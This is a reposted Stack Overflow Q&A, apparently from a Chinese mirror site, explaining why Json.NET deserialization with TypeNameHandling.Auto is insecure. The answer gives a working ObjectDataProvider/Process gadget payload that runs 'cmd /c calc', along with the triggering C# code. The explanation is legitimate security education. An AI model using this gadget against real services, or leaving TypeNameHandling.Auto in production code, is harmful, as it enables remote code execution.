gpt4 book ai didi

c# - 使用 Json.NET 进行不安全的反序列化

转载 作者:行者123 更新时间:2023-11-30 16:38:08 24 4
gpt4 key购买 nike

静态安全扫描器在这一行标记了我的 C# 代码:

var result = JsonConvert.DeserializeObject<dynamic>(response);

response 将包含来自 Web API 的 JSON 响应。

扫描器已将此标记为“不安全的反序列化”。

有人可以帮助我了解如何利用它吗? Web 示例并不清楚漏洞利用是否可以在 DeserializeObject 方法本身中发生,或者是否仅在反序列化之后发生。

最佳答案

尝试反序列化这个 json:

{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName": "Start",
"MethodParameters": {
"$type": "System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"$values": [ "cmd", "/c calc" ]
},
"ObjectInstance": { "$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" }
}

使用此代码

dynamic obj = JsonConvert.DeserializeObject<dynamic>(json, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});

它将打开 Windows 计算器应用程序。可以运行任何可执行文件或脚本的方式相同。如果您使用 object 而不是 dynamic 或非通用 DeserializeObject 方法,问题仍然存在。请注意,如果您不设置 TypeNameHandling = TypeNameHandling.Auto,其他人可能会像这样设置全局设置:

JsonConvert.DefaultSettings = () => 
new JsonSerializerSettings{TypeNameHandling = TypeNameHandling.Auto};

关于c# - 使用 Json.NET 进行不安全的反序列化,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/55924299/

24 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com